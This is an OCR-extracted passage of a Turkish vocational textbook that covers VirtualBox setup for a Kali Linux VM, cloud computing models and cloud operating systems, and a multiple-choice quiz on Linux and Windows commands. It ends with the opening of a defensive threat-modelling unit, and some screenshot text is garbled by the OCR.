Ll

VirtualBox'a Hos Geldiniz!

Uygulama pencerenin sol tarafi genel araclar igerir ve bilgisayarinizdaki
tiim sanal makineleri ve sanal makine gruplanm listeler. ligili arag
gubudu digmelerini kullanarak yeni VM'leri ice aktarabilir, ekleyebilir ve
olusturabilirsiniz. Iigili 6§e digmesini kullanarak su anda segilen 6ge
araglanni agilir hale getirebilirsiniz.

Aminda yardim almak igin F1 tusuna basabilirsiniz, ya da daha fazla
bilgi ve en son haberler icin www.virtualbox.org adresini ziyaret edin.

2 R B B

Gorsel 4.331: Sanal makine imajini ige aktarma

3. Adim: Ana makine ile sanal makine arasinda dosya paylasimi icin gerekli ayarlamalari gerceklestirip
Tamam butonuna tiklayiniz (Gorsel 4.332).
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<

L’m} _\nz.fJ ',rf;‘ V/ l‘i/ =

Yeni Ekle  Ayarlar Vazgeg Baslat

B Genel B Onizle
Ad: Kali Linux 2023.2 i
Isletim Sistemi: Linux 2.6 / 3.x / 4.x / 5.x (64-bit)
B Sistem
Ana Bellek: 4096 MB
| e — Islemci: 3
ui 1 -
il -
B el Paylasilan Klasorler —
B Sistem Paylasilan Klasdrler
(%N} —
Ad Yol Erisim Otomatik Badla  Yeri | |

Ekrans Makine Klasarleri

|

i‘ Depolama
(/

[

AARARERNG

J1 Ses ki
23 Klasér Yolu: @ C:\Users\SINIF-B\Videos S
; : Klasor Adi: Videos
)&= Seri B.Noktalan b
\_,.." uss [ salt-okunur
L Kali Linux 2023.2 a Forsien K faie

26V 12 — Tamam Iptal
v Kaydedildi H Kullanicr Araytizi

Tamam iptal Yardim

- “
Yok
Gorsel 4.332: Dosya paylasimini ayarlama

4. Adim: Ag bagdastiricilarini yapilandirmak igin gerekli ayarlamalari gergeklestirip Tamam butonuna
tiklayiniz (Gorsel 4.333).

¥

—- S0 e Kanah .
e W VOV

Yeni Ekle  Ayardar Vazgeg Baglat

M Genel M Onizleme
Ad: Kali Linux 2023.2

Bajdasting 1

Bagdasting 2 Badd:

Bagdasting 4

M s

- Ekran cis: kinbestir

‘s iama Suna takl: Kopri Bagdastincis:

wd Do Ad: Intek(R) Wi-Fi 6 AX201 160MHz

('u—’ Ses  Geligmig

i_l 23 Bagdagting Turi: [Inkel PROJI000 MT Masalsti (82540EM)
Karma Kipi: Tumine izin ver

% > Seri B.Noktalan

-~ Adresi: OB0027DI7EGF

s [ Kablo bagland:

Paylagian Klasdrier

=18

Kullare: Arayiizi

Tamam Iptal Yardim

Gorsel 4.333: Ag ayarlari
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5- Ad'm: |(;e akta r||a n sanal ma k|ney| h Kali Linux 2023.2 [Caligiyor] - Oracle VM VirtualBox
Dosya Makine = Goriinim Girg Aygtlar Yardim
calistiriniz. -

450 Ayarlar... Host+5

< 18 Anik Gortinti Al... Host+T

(i) Oturum Bilgisi... Host+N
% Dosya Yoneticisi...
(7] Gunliga Goster...
1l ourakdat Host+P
gl - sfirla Host+R
47 ACPIKapama Host+H

6. Adim: Sistemin anlik kopyasini
almakicin Makine menisinden Anlik
Gorintii Al secimini gergeklestirip
(Gorsel 4.334) sistem kopyasinin
adini ve agiklamasini yazarak islemi
tamamlayiniz.

Dg_syaﬁfste -

o . Gorsel 4.334: Anlik goriintli alma iglemi
7. Adim: Ana makine ile sanal makine

arasinda sirikle birak ve kopyala yapistir 6zelliklerinin calismasini saglayiniz (Gorsel 4.335).

£ Kali Linux 2023.2 - Ayarlar

Genel Genel
g Sistem Temel Gelismis Aciklama Disk Sifreleme
_-J Ekran Anlik Goriintii Klasori: C:\Users\SINIF-B\VirtualBox VMs\Kali Linux 2023.2\Snapshots s
@ Depolama Paylagilan Pano: | Cift Yonli ~
G} o Surukle'v'Birak: | Cift Yonlu ~
&
@ Seri B.Noktalan
AC>( usB
|J Paylagllan Klasd...
E’ Kullama Araytizii
Iptal Yardim

Gorsel 4.335: Suriikle birak ve kopyala yapistir islevi

Sanal makinelerde kullanilan Gg¢ temel ag§ modu olan NAT, Bridge ve Host-only
hakkinda arastirma yapiniz. A§ modlarini sanal makinede uygulayarak arastirma
sonuglarinizi dogrulayiniz. Uygulama goriintilerini ve arastirma sonuglarini rapor
haline getiriniz. Calismanizi arkadaslarinizla paylasiniz.

4.4. BULUT BIiLiSimM

Bulut bilisim (Cloud computing), hizli 6lgeklenebilir
donanim ve yazilim altyapisi olan minimum ydnetim
¢abasi ile sahip oldugu bilgi islem kaynaklarini ag
veya internet Uzerinden kullanicilara hizmet olarak
sunan bir dagitim modelidir (Gorsel 4.336). Bu
model kullanicilarin  uygulama, depolama ve veri
isleme ihtiyaglarini karsilamak igin gerekli hizmetleri
saglar. Bulut bilisim, hizmetleri saglarken verimlilik,
glvenilirlik, esneklik, performans, uygun maliyet gibi
bircok avantaji da kullanicilara sunar.

Bulut bilisim, kullanicilarin bilgi islem kaynaklarina
sadece sanal olarak erismesine imkan verir. Bu sayede
Gorsel 4.336: Bulut bilisim modeli kullanicilar; ek yik getiren sunucu kurulumu, sunucu
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bakimi, fiziksel erisim, yedekleme gibi operasyonel islemlere maruz kalmaz. Bu durum, bulut teknolojisi
kullanan kurum ve isletmelerin operasyonel yikini azaltarak verimliligi artirir. Bu nedenle kurumsal ve
bireysel kullanicilar, bulut hizmetlerini kiralamayi tercih eder.

4.4.1. Bulut Bilisim Sistemleri

Bulut bilisimde kullanicilarin ihtiyaglarina ve kullanim amacglarina gére farkli modeller gelistirilmistir.
Bunlar dagitim ve hizmet modelleri seklinde siniflandirilir. Bulut bilisimde dort cesit dagitim modeli
bulunur (Gorsel 4.337).

Community
Cloud

Bulut Biligim
Dagitim Modelleri

Public
Cloud

Gorsel 4.337: Bulut bilisim dagitim modelleri

Genel Bulut (Public Cloud): Hizmet saglayicinin depolama, uygulama, veri tabani gibi kaynaklariinternet
Uzerinden son kullanicilara sundugu bulut hizmetidir. Bu hizmet, kullanicilarin dlgeklenebilir kaynaklara
kolayca erismesini, hizli uygulama dagitimini ve isletme maliyetlerini azaltmayi hedefler. Genel bulut
hizmeti, kullandikga 6de modeliyle veya licretsiz sunulur. Kisisel kullanicilar ile kigik ve orta olgekli
kurumlar tarafindan tercih edilir.

Ozel Bulut (Private Cloud): Kurum igindeki verilerin ve uygulamalarin gizliliginin saglandigi, bilgi
islem kaynaklarinin sadece kurum kullanicilarina 6zel olarak sunuldugu bulut hizmetidir. Bu bulut
hizmeti kurum ici verilerin, uygulamalarin ve is sireclerinin bulut tabanl altyapiyla yonetilmesini ve
depolanmasini hedefler. Sunulan kaynaklara kurum disindan erisim saglanamaz. Blyik 6lgekli kurumlar
ve hassas verilere sahip enddstriler tarafindan tercih edilir.

Hibrit Bulut (Hybrid Cloud): Ozel ve genel bulut kaynaklarinin bitiinlestirildigi bulut hizmetidir. Bu
bulut hizmetinde kurumun kritik ve hassas verileri 6zel bulutta saklanirken son kullaniciya agik olan
hizmetlere genel bulut Gzerinden ulasilir. Hibrit bulut kurumlara esneklik, 6lgceklenebilirlik ve glivenlik
acisindan 6nemli avantajlar saglar.

Topluluk Bulut (Community Cloud): Hizmetin birka¢ kurumla ortak kullanildigi ve bilgi islem
kaynaklarinin belirli bir topluluga sunuldugu bulut hizmetidir. Bu bulut hizmeti, benzer ihtiyaclari olan
kurumlar arasinda kaynak ve hizmet paylasimini hedefler.
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Bulut bilisim dagitim modellerinin avantajlari ve dezavantajlari hakkinda detayl
bir arastirma yapiniz. Arastirma sonuglarini rapor haline getiriniz. Calismanizi
arkadaslarinizla paylasiniz.

Bulut bilisimde t¢ temel hizmet modeli bulunur (Gorsel 4.338).

Joftware

as 2®L

2 (B

Jervice

Platform

Gorsel 4.338: Bulut bilisim hizmet modelleri

Hizmet Olarak Altyapi (1aaS): Bulut saglayicinin sunucu, ag altyapisi, depolama alani, islemci, bellek
gibi kaynaklari internet Gzerinden sundugu bulut hizmetidir. Bu hizmetin kullanicilari ihtiya¢ duyulan
donanimlari satin almak yerine kullandikca 6de modeli ile kiralar. Kullanici kiraladigi donanimin
kapasitesini istedigi zaman degistirebilir. Bu yonuyle laaS, dlceklenebilir bir yapiya sahiptir. Kullanici
kiraladigi donanimlara ihtiya¢ duydugu isletim sistemini ve yazilimlari kurabilir. Kiralanan altyapi
hizmetinin yedeklenmesi, yonetimi, bakimi ve onarimi bulut saglayiciya aittir. Hizmet glivenliginin
saglanmasinda kullanici 6nemli bir sorumluluga sahiptir.

Hizmet Olarak Platform (PaaS): Bulut saglayicinin sunucu, depolama alani, ag altyapisi, isletim sistemi,
veri tabani ydnetim sistemi ve yazilim platformu sundugu bulut hizmetidir. Bu bulut hizmetiyle kullanici,
veritabanialtyapisi kurmakla ugrasmadan hizli bir sekilde uygulama gelistirip calistirabilir. Kullanicilar uy-
gulama gelistirmede kullandiklari araglari ve yazilim lisanslarini bulut saglayicidan kiralar. Kiralanan plat-
form hizmetinin yedeklenmesi, ydonetimi, bakimive onarimi bulut saglayiciya aittir. Kullanici daha ¢ok uy-
gulama gelistirmeye odaklanir. PaaS, uygulama gelistirme ve dagitiim sireclerinin tek elden yonetilmesini,
uygulamalarin uygun maliyetle gelistirilmesini ve test edilmesini saglar. Birden fazla gelistiricinin bir proje
Gizerinde calistig is ortamlarinda tercih edilir. Hizmet glivenliginin saglanmasindaki sorumluluk bulut
saglayici ile kullanici arasinda paylasilir.

Hizmet Olarak Yazilim (SaaS): Bulut saglayicinin, belirli bir amac icin gelistirilmis yazilimlari internet
Gzerinden sundugu bulut hizmetidir. Bu bulut hizmetiyle mesajlasma, slire¢ planlama, veri isleme,
muhasebe, finans, e-posta gibi yazilimlar kurulum gerektirmeden web araytiz izerinden son kullaniciya
sunulur.
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Kullanicilar bulut saglayicinin sundugu bu yazihmlari kullandik¢a 6de modeliyle kiralar. Kiralanan
yazilim hizmetin yedeklenmesi, bakimi ve onarimi bulut saglayiciya aittir. SaaS ile sunulan uygulama,
calisma zamani, isletim sistemi, sanallastirma, depolama alani gibi bilgi islem kaynaklarinin yonetimi
bulut saglayici tarafindan gerceklesir. Hizmet glivenliginin saglanmasindaki en biylk sorumluluk bulut
saglayici tarafindan Ustlenilir. Bulut bilisim hizmet modellerinin sundugu kaynaklarin yonetimi kullanici
ve bulut saglayici arasinda paylasilir.

Kaynak yonetiminin paylasimi Sekil 4.4’te gosterilmistir.

I ™ ™

Uygulama

Uygulama

Uygulama

a¥a

Veri

Veri

Veri

™

Calisma Suresi

Caligma Siiresi

Calisma Stresi

BYd

=¥ 23

Middleware

AN

FLS

hYd

BT

Middleware

AN

A
™

Middleware

#AN

A\

™

isletim Sistemi

I\
B4

isletim Sistemi

N

isletim Sistemi

L

Sanallastirma

Sanallastirma

A

\

Sanallastirma

[ Sunucu | Sunucu 1 Sunucu 1
r Depolama ‘ r Depolama I Depolama
LI . T
Kaynak Yénetimi: r Kullanici I Bulut Saglayici

I =

Sekil 4.4: Kaynak (hizmet) yonetiminin paylasimi

Bulut bilisim hizmet modellerinin avantajlari ve dezavantajlari hakkinda detayl
bir arastirma yapiniz. Arastirma sonuglarini rapor haline getiriniz. Calismanizi
arkadaslarinizla paylasiniz.

4.4.2. Bulut isletim Sistemleri

Bulut isletim sistemleri, bulut bilisim ve sanallastirma ortamlarinda calismak lzere tasarlanmistir. Bu
isletim sistemlerine sanal isletim sistemi adi da verilir. Bulut isletim sistemi, sanal makinelerin, sanal
sunucularin ve sanal altyapinin isleyisini yonetir. Bunun yani sira donanim ve yazilim kaynaklarinin
denetimini gergeklestirir. Bulut altyapisinin detaylarini uygulama gelistiricilerinden gizler. Sinirli
kaynaklarin paylasimini koordine eder. Bulut isletim sistemleri bdylece yonetim ve denetim
mekanizmalari ile depolama, ag ve bilgi islem kaynaklarinin daha verimli kullanilmasini saglar. Bulut
isletim sistemlerinin 6zellikleri, kullanilan sanal ortama ve bulut hizmetlerine bagli olarak farkhlik
gosterebilir. Bulut isletim sistemi, uygulamalari tim bulut dagitimlarinda sunarak kullanicilarin
Gretkenligini artirir.
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Bulut isletim sistemleri genellikle web tarayicisinda calisir. Kullanicilar, web tarayicilari araciligiyla
web tabanh uygulamalara erisim saglar. Bu nedenle bulut isletim sistemleri, islem kapasitesi ve bellek
miktari daha disik olan cihazlarda bile ¢calisabilecek sekilde tasarlanir. Ayrica bulut sunucularinda web
tarayicisindan dogrudan erisilemeyen ve daha karmasik gorevleri yerine getirebilen isletim sistemleri
de calisir.

Bulut isletim sistemleri, veri merkezlerinde yénetimi daha verimli hale getirmek igin yaygin olarak
kullantlir (Gorsel 4.339). Bu isletim sistemleri; sanal makinelerin olusturulmasi, dagitilmasi, yonetilmesi
gibiislemleri kolaylastirir. Bulut isletim sistemleri, fiziksel sunucularin sanal makineler veya konteynerler
gibi daha kiclik ve yonetilebilir parcalara boliinmesine yardimci olur. Bu da veri merkezlerinde
kaynaklarin daha etkin kullanilmasina ve hizl 6lgeklendirmeye olanak tanir. Ayrica bulut bilisim,
yedekleme, is stirekliligi, felaket kurtarma gibi veri merkezi islevlerini de gelistirebilir. Bu nedenle birgok
kurum, veri merkezlerini daha giivenilir hale getirmek icin bulut isletim sistemlerini tercih eder.

R UL L |
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Gorsel 4.339: Bulut bilisimin veri merkezlerinde kullanimi

Bulut isletim sistemlerinin bazi temel 6zellikleri sunlardir:

e Bulut isletim sistemleri, kullanicilarin internet baglantisi olan her yerden calisabilmesini saglar.
Kullanici, bilgisayarinin ¢okmesi durumunda bile bulut isletim sistemi ¢alismaya devam eder. Bu
durum verilerin ve uygulamalarin uzak sunucu lzerinde depolanmasindan kaynaklanir. Herhangi
baska bir cihazdan bulut isletim sistemine tekrar erisilebilir.

e Bulut isletim sistemleri geleneksel isletim sistemlerinden daha glvenlidir. Bu durum, bulut
sunucularinin veri merkezlerinde barinmasi ve uzman ekipler tarafindan yénetilmesi ile dogrudan
iliskilidir.

e Bulut isletim sistemlerinin temelinde sanallagtirmanin kullaniimasi, fiziksel bir donanimda birden

fazla sanal makinenin ayni anda calistirilmasina imkan verir. Bu sayede bulut bilisim hizmetlerinin
Olceklenebilirligi saglanir.

e Bulut isletim sistemi fiziksel kaynak ihtiyacinin artmasi durumunda bulut sunucularinin hizla
Olceklendirilmesini destekler. Bu, sistemin her zaman kullanilabilir olmasini saglar.

e Bulutisletimsistemlerigelenekselisletimsistemlerinden dahaekonomiktir. Budurum, kullanicilarin
sadece kullandiklari kaynaklar ve aldiklari hizmetler icin 6deme gergeklestirmesinden kaynaklanir.

e Bulut isletim sistemleri, fiziksel kaynaklari etkili bir sekilde yonetir. Bu, kaynaklarin ihtiyaca gore
dinamik olarak tahsis edilmesini saglar.

e Bulut isletim sistemleri agir yiik altindaki sunuculari algilayarak trafigi daha hafif yik altindaki
sunuculara yonlendirir. Bu, hizmetin slrekli kullanilabilir olmasini saglar.

e Bulut isletim sistemleri verilerin yedeklenmesi ve felaket kurtarma planlarinin uygulanmasini
kolaylastirir. Bu, veri kaybini dnler ve hizmet kesintilerini azaltir.
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6LCME VE DEGERLENDIRME

Asagidaki sorulan dikkatlice okuyarak dogru cevabi isaretleyiniz.

1. Asagidakilerden hangisi bilgisayarin dona- |5. Asagidakilerden hangisi Windows isletim

nim kaynaklarina direkt olarak miidahale
edebilen bilgisayar sistemi bilesenidir?

A) Kullanici B) Kabuk (Shell)
C) isletim Sistemi D) Uygulama Yazilimi

E) Glvenlik Yazilimi

sisteminde gekirdegi ifade eden sistem dos-
yasidir?

A) Csrss.exe B) Ntoskrnl.exe
C) Services.exe D) Smss.exe
E) Wininit.exe

2. Asagidakilerden hangisi mobil isletim sis- | 6. Asagidakilerden hangisi yiiklii olan tiim pa-

temlerinden biri degildir?
A) Android B) iOS
C) KaiOos D) Parrot OS
E) Tizen
3. Asagidakilerden hangisi Android isletim sis-
teminin o6zelliklerinden biri degildir?
A) Android, apk uzantili dosyalari ¢alistirir.

B) Sadece bir firmanin lrettigi cihazlarda
kullantlir.

C) Genis topluluk destegi bulunur.
D) Acik kaynak kodlu bir isletim sistemidir.

E) Linux gekirdegi Gzerine gelistirilmistir.

4. Asagidakilerden hangisi sizma testlerinde | 8.

kullanilmak lizere tasarlanmis bir Linux isle-
tim sistemidir?

A) Arch Linux B) CentOS
C) Ubuntu D) Pardus

E) Kali Linux

b
a

ketleri son siirimiine giincellemek igin kulla-
nilir?

A) apt-get update

B) apt-get upgrade

C) apt-get install update
D) apt-get install upgrade

E) apt-get remove

. Asagidakilerden hangisi Linux komutlarinin
bulundugu dizindir?
A) /bin B) /home
C) /lib D) /opt
E) /var

Asagidakilerden hangisi Linux isletim siste-
minde kullanici parolalarinin sifrelenmis bir
sekilde tutuldugu bir dosyadir?

A) /etc/issue B) /etc/hosts
C) /etc/passwd D) /etc/services
E) /etc/shadow



9.

10

11.

12.

13.

Asagidakilerden hangisi Linux isletim sistemin-
de kullanicinin ev dizinini belirtmek igin kulla-
nilan bir isarettir?

A) # B) S
Q- D)/
E)?
. Asagidakilerden hangisi Linux isletim siste-

minde kullanilan yardim komutlarindan biri
degildir?

A) apropos B) cat

C) help D) info
E) man
Asagidakilerden hangisi PowerShell’de

kullanilan Test-Path komutunun gérevini
ifade eder?

A) Mevcut klasorden farkli bir klasére gegcmek
icin kullanilir.

B) Klasorlin varligini kontrol etmek amaciyla
kullanihr.

C) Metin dosyasi icerigine metin eklemek igin
kullanihr.

D) Dosya ve klasor kopyalamak icin kullanilir.

E) Yalnizca Windows isletim sisteminde calisir.

Asagidakilerden hangisi Linux isletim siste-
minde dizin olusturmak i¢in kullanilan bir
komuttur?

A) cp B) Is

C) mkdir D) rm

E) touch

Asagidakilerden hangisi Linux igletim siste-
minde dosya ve dizinlerin erigim izinlerini
degistirmek icin kullanilan bir komuttur?

A) chattr B) chmod

C) chown D) getent

E) tar

14.

ISLETiM SISTEMLERI

Asagidakilerden hangisi Linux isletim siste-
minde galisan siiregleri isimlerine gore son-

landirmak i¢in kullanilan bir komuttur?
A) kill B) killall
C) ps D) pstree

E) top

15. Asagidakilerden hangisi Windows isletim sis-

16.

17.

18.

teminde klasordeki dosyalari listelemek igin

kullanilan bir komuttur?
A) cd B) del
C) dir D) md

E) type

Asagidakilerden hangisi Linux isletim siste-
minde bilgisayarin agdaki adini goriintiilemek

icin kullanilan bir komuttur?
A) free B) hostname
C) last D) uname

E) whoami

Asagidakilerden hangisi Windows isletim sis-
teminde tanimh kullanicilan listelemek igin

kullanilan bir komuttur?
A) net users B) net localgroup
C) net user D) useradd

E) adduser

Asagidakilerden hangisi Windows isletim
sisteminde statik IP adresi tanimlamak igin
kullanilan bir komuttur?

A) netsh B) netstat

C) nslookup D) ping

E) tracert
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19. Asagidakilerden hangisi PowerShell’in 6zellik- | 23. Asagidakilerden hangisi PowerShell’de Get-

lerinden biri degildir?

A) Karmasik yoénetim gorevlerini otomatize
etmek igin kullanihr.

B) Gulgli ve esnek komut isleme yapisina
sahiptir.

C) Hem komut satiri hem de betik yorumlayicisi
olarak kullantlir.

D) Nesneye dayali yaklasimla eylemleri yerine
getirir.

E) Yalnizca Windows isletim sisteminde calisir.

20. Asagidakilerden hangisi Windows isletim

sisteminde attrib komutunun gorevini ifade
eder?

A) Komut satirinda metin dosyasi olusturmak
icin kullanihr.

B) Dosya Ozniteliklerini degistirmek icin
kullanilr.

C) Bir metin dosyasinin icerigini
gorintilemek icin kullanilr.

D) Dosyalar ile klaséri tagimak ve yeniden
isimlendirmek i¢in kullanilir.

E) Klasor icerigini agag yapisi seklinde
gostermek icin kullanilir.

21. Asagidakilerden hangisi PowerShell’de ciktiyi

filtrelemek igin kullanilan bir komuttur?

A) Where-Object B) Select-Object

C) Sort-Object D) Get-Unique

E) Get-Alias

22. Asagidakilerden hangisi bulut bilisim dagi-
tim modellerinden biri degildir?

A) Genel B) Hibrit
C) Ozel D) Platform

E) Topluluk

LocalGroupMember komutunun gorevini
ifade eder?

A) Yerel kullanicilar gorintilemek amaciyla
kullantlir.

B) Yerel gruplari goriintilemek amaciyla
kullanihr.

C) VYerel cihazdaki aygit sdriculerini
gorintilemek amaciyla kullanilir.

D) Yerel gruptaki kullanicilari gérintiilemek
amaciyla kullantlir.

E) Sistemde calisan servisleri listelemek
amaciyla kullanihr.

24. Asagidakilerden hangisi Windows isletim
sisteminde giinliik kayitlarini incelemek
icin kullanilan bir yénetim aracidir?

A) Kayit Defteri Dizenleyicisi
B) Olay Goriintileyicisi

C) Kaynak izleyicisi

D) Gorev Yoneticisi

E) Gorev Zamanlayici

25. Asagidakilerden hangisi donanim veya is-
letim sistemi lizerinde hipervizor yazilim
kullanarak birden fazla isletim sisteminin
¢alistiriilmasini ifade eder?

A) Sistem Yapilandirma
B) Goérev Zamanlama
C) Siire¢ Yonetimi

D) Servis Yapilandirma

E) Sanallastirma



. 5. OGRENME BiRIMi

TEHDIT MODELLERI

4
v

" KONULAR

5.1. TEHDIT MODELI OLUSTURMA « Tehdit modeli olusturma
5.2. TEHDIT M‘OD.ELLEME * Tehdit modeli uygulamasi
YONTEMLERI

ANAHTAR KAVRAMLAR

OWAPS Dragon tehdit araci, tehdit modelleme




5. OGRENME BiRiMi

AW AN AW AW AW AW AW AW AW AW AW AN AN AW AW AW AW AW AW AN AW AW AW AW AW AN AW AW AT AW AW AW AW AW AW AW AW AW AT AW AW AW AW AW AW AWAWAWAY
sobbbbbbobbbobobbsbbbbbobbbobobbobobobbobosbbbbbban
L. —a HAZIRLIK GALISMALARI
7~ 1.Sun Tzu’un Savas Sanati kitabindan alintilanan “Dismanini ve kendini taniyorsan,
] b= ylzlerce savasin sonucundan korkman gerekmez. Kendini taniyorsan fakat diismani
(P

tanimiyorsan, kazandigin her zafer igin bir de yenilgi alirsin. Hem diismani hem de
kendini tanimiyorsan, her savasta yenik diisersin.” ciimlesini sinifta arkadaslarinizla
tartisiniz.

2. Glinlik yasaminizda sosyal medya lzerinden karsilasabileceginiz siber tehditler ve bu tehditlere
karsi alinabilecek 6nlemler hakkindaki diisiincelerinizi arkadaslarinizla paylasiniz.

5.1. TEHDIT MODELi OLUSTURMA

Guvenli ag tasarimi yapmak, sistem ve uygulama insa etmek icin ilk adim tehdit modellemesi
olusturmakdr.

5.1.1. Tehdit Modelleme

Tehdit modelleme tasarlanan bir sistem veya uygulamada glivenlik tehditlerini ve potansiyel zafiyetleri
belirleme, tehdit ve zafiyetlerin 6nem derecesini nicel olarak degerlendirme ve dizeltme ile ilgili
yontemlerin 6nceliklendirilmesini hedefleyen yapilandiriimis bir stirectir.

Tehdit Ajani (Threat Agent) bir sisteme veya sistem sahibine zarar verebilecek yaklasimla varliga karsi
etki yapabilen kisi, kod vb. olabilir. Tehdit modellemenin amaci, bilgisayar sistemine veya bir uygulamaya
zarar verebilecek tehdit ajanlarini belirleyebilmektir. Ayrica tehdit ajanlarinin sistem veya kisilere ne
diizeyde zarar verebilecegini gostermek icin kullanilir. Tehdit modelleme sireci genellikle kurumlarin
veya gelistiricilerin muhtemel zafiyetleri kesfetmelerine ve buna gore de tasarim, kod ve konfiglirasyon
kararlarini gincellemelerine neden olur. Bu ylizden giivenlik sonuglarindan haberdar olmalarina destek
olmak icin genellikle yeni bir uygulamanin tasarimi asamasinda tehdit modellemesi yapilir fakat farkh
asamalarda da gergeklesebilir.

Gelistiricilerin dort adimh tehdit modellemesi siireci su sekilde gerceklesir: Diyagramin amaci
belirlenerek diyagram olusturulmaya baslanir. Sistemde istenmeyecek durumlarla ilgili potansiyel
tehditler belirlenir. Sistemde istenmeyecek durumlar tespit edilir. Muhtemel tehditlere iliskin nasil
savunma saglanabilecegi ile ilgili tehditleri hafifletme siireci tasarlanir. Tasarlanan siiregteki adimlarin
dogrulamasi yapilir.

5.1.2. Tehdit Modelleme Adimlari

Tehdit modelleme olusturma adimlari kapsaminda tehdit modelleme akisi (Threat Model Flow)
kullanilacaktir. Tehdit modelleme akisi bir sistem, uygulama veya organizasyon icin olusabilecek
muhtemel glivenlik tehditlerinin tanimlanmasi, siniflandiriimasi ve tehditlere iliskin koruma
yontemlerinin hazirlanmasi igin kullanilan bir slirectir. Genel olarak tehdit modelleme akisinda yer alan
adimlar su basliklardan olusur:
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1. Giivenlik Hedeflerini Tanimlama (Identify Security Objectives)

Bir uygulama veya sistem icin glivenlik hedeflerinin belirlenmesinde ve bu hedeflere ulasmada
ihtiya¢ duyulan unsurlar sunlardir:

e Kimlik
Kimlik, bir uygulamanin istismarlara karsi kullanicinin kimligini koruma kapasitesidir. Bir mobil

oyun gelistiricisinin sadece belirli kisilerin oyunu calistirabilmesi icin kimliklerini dogrulama sireci
ornek verilebilir.

e itibar
Firma veya topluluk, uygulamasinin saldiriya ugramasi durumunda itibar kaybiyla karsilasabilir.
Ornegin mobil oyun gelistiricisinin gelistirdigi oyunda var olan bir zafiyet, siber saldirganlar
tarafindan istismar edilebilir ve oyunun islevlerinin kullanilmasi olumsuz etkilenebilir. Bu durum

oyunun itibarini dislrebilir. Kullanicilarda oyunla ve gelistiricisiyle ilgili olumsuz duslinceler
olusabilir.

e Maliyet

Maliyet, uygulamanin potansiyel mali artislara neden olma riskidir. Ornegin kullanici mobil oyun
icin yeni ve eglenceli olabilecegini dislindigi ek 6zellikler satin almak istediginde bu 6zelliklerin
bir maliyeti vardir. Kullanici satin alma kararinda maliyeti de g6z 6éniinde bulundurur.

o Gizlilik ve Dlizenleme

Gizlilik ve dizenleme, kullanici bilgilerinin korunma diizeyi ve korumanin gerektigi hukuki
sinirlamalari kapsar. Ornegin mobil gelistirici gelistirdigi oyunda sadece kendisi tarafindan
goriinebilecek 6zel bilgilere yer verebilir. Bu bilgilerin gizli oldugundan emin olunmalidir.

e Kullanilabilirlik Garantisi

Kullanilabirlik garantisi, uygulamanin hizmet seviye anlasmalari (SLA) veya benzer anlasmalara
sahip olup olmama durumudur. Buna uygulama igin ulusal acidan korunan bir altyapinin olup
olma durumu 6rnek verilebilir.

Risk degerlendirmesinde dikkate alinmasi gereken potansiyel kaynaklar da mevcuttur. Bunlar arasinda
yasalar (gizlilik veya mali), diizenlemeler (bankacilik veya e-ticaret diizenlemeleri), standartlar (1SO
17799), yasal anlasmalar (ticari) ve bilgi gtivenligi politikalari bulunur.

SIRA Siz de Okul kiitiiphanesi adli mobil uygulama gelistirdiginizi duslinerek
0 uygulamaniz i¢in glvenlik hedeflerinizi belirleyiniz. Uygulamada temel
islevler olarak ogrenciler kitiiphanedeki kitaplari listeleyebilir, kitaplarin
odiing alinma durumunu takip edebilir ve internet Uzerinden kitap rezerve

edebilir. Uygulamaniz igin glivenlik hedeflerinizi tanimlayiniz.

2. Uygulamanin Gozden Gegirilmesi (Application Overview)
Bir yazilim projesinin glvenlik agisindan degerlendirilmesinde su temel adimlar kullanilir:
e Uygulamanin Bolliimleri

Uygulama boluimleri hakkinda bilgi sahibi olmak uygulamada olasi zafiyetlerin bulunabilecegi
yerlerin anlasiimasi acisindan énemlidir.

e Veri Akisi
Uygulamada verinin akisini anlamak muhtemel riskli alanlarin tespiti icin kritik dlizeyde degerlidir.

e Giivenlik Sinirlan
Uygulama icindeki dis tehditlerle karsi karsiya gelebilecek boliimleri belirlemek 6nemlidir.
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programlarini gorebiliyor, 6gretmenlerinin duyurularini listeleyebiliyor ve okulda
diizenlenen etkinliklere dair bilgileri alabiliyor. Bu uygulama igin uygulamanin
bolumleri, veri akisi ve glvenlik sinirlari asagida verilmistir.

Okul Ders Programi ve Etkinlik Takip uygulamasinda 6grenciler haftalik ders

T022272070227020772277277,

e Uygulamanin Bélliimleri

* Ders Programi Bolimii
Bu bolimde 6grenciler ders saatlerini ve glinlerini gorebilir.

* Duyuru Boliimi
Ogretmenler sinav tarihleri, 6devler veya genel bilgilendirmeler ile ilgili bilgi paylagimi
yapabilir.

* Etkinlik Boliimii
Okuldaki etkinliklerle ilgili bilgiler paylasilr.

e Veri Akisi

Ogretmenler duyuru eklediginde bu bilgi dgrencilerin uygulamalarina nasil gidiyor? Ogretmen
duyuruda sinav glinlinii yayinlayarak sinav olacagini duyurur. Bu duyuru, 6gretmenin dersini alan
tim 6grencilerin uygulamasinda gorinir. Boylece bilginin hareket etmesi bir baska ifadeyle veri
akisi gerceklesir.

e Giivenlik Sinirlan

Ogrenciler sadece kendi ders programlarina iliskin bilgileri gérebilir. Bu durumda 6grencilerin
ders programlarina erisimlerinde bir glivenlik siniri vardir. Ayrica 6gretmenlerin de sadece kendi
duyurularini diizenleyebilmesi bir glivenlik siniri belirlenmesini gerektirir.

3. Uygulamayi Ayristirma (Decompose Application)

Uygulamayi Ayristirma, uygulamanin giivenlik etkisine sahip tim o6zelliklerinin ve boltimlerinin
ayristirilmasidir. Ayristirma sirecinde uygulamadaki her bir 6zelligin nasil ¢alistiginin bilinmesi,
muhtemel glvenlik risklerinin anlasilmasi icin kritik 6nem arz eder. Bu sayede uygulamanin
kullanici dostu ve glivenli olmasini saglamak icin gerekli 6nlemler alinabilir.

Online Yemek Siparis uygulamasinin ayristirilmasi icin gerceklestirilecek islemler
sunlardir:

DIIIIIIIIIII 7207077,

e Kullanici Kaydi ve Girisi

Kullanicilar uygulamaya kayolduktan sonra giris yapar. Bu bélimde kullanici bilgilerinin saklanma ve
sifrelerin korunma sekliyle kimlik dogrulama yapilmasinin gerceklestirilme stireci ayristiriimalidir.

e Menii Gosterimi

Menl gosterimi, uygulamada meninin gosterildigi bolimdir. Bu bolimde menideki bilgilerin
geldigi yer, glincelleme siireci ve men fiyatlarinin belirlenmesi incelenir.

e Siparis Alimi

Bubolimde kullanicilaryemek siparis verir. Siparis bilgilerinin alinmasi, 6demenin gerceklestiriimesi
ve 6deme bilgilerinin saklanmasi stregleri ayristirilmahdir.

e Siparis Takibi
Bu bolimde kullanici siparis durumunu takip eder. Siparis durum bilgilerinin glincellenmesi ve
kullanicinin bu bilgilere erisimi incelenir.
